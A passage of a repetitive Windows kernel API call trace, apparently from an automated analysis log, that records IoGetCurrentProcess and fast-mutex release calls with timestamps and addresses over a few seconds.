IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.628] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.655] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.673] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.698] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.714] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.745] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.774] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.792] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.810] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.811] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.828] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.828] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.828] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.828] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.828] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.828] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.828] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.828] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.828] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.829] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.829] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.829] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.829] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.829] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.829] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.830] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.906] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.953] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.968] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.984] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.999] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.017] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.041] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.074] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.095] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.111] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.133] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.133] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.133] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.161] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.162] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.162] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.163] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.163] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.163] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.164] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.180] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.211] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.242] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.273] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.304] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.336] IoGetCurrentProcess () returned 0xffffe000011ff900 [0130.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.271] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.274] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.317] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.367] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.382] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.401] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.447] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.780] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.837] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.862] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.883] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.913] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.929] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.947] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.947] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.947] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.976] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.992] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.010] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.026] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.055] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.055] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.055] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.058] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.058] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.058] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.114] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.174] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.199] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.218] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.245] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.273] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.289] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.304] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.320] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.337] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.368] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.383] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.412] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.429] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.445] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.449] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.465] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.466] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.466] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.466] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.466] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.467] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.467] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.468] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.468] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.468] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.549] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.576] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.593] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.623] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.640] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.671] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.694] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.725] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.725] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.725] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.745] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.768] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.788] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.812] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.812] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.813] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.813] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.814] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.814] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.815] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.835] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.835] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.835] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.867] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.867] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.867] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.897] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.917] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.917] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.917] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.939] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.960] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.990] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 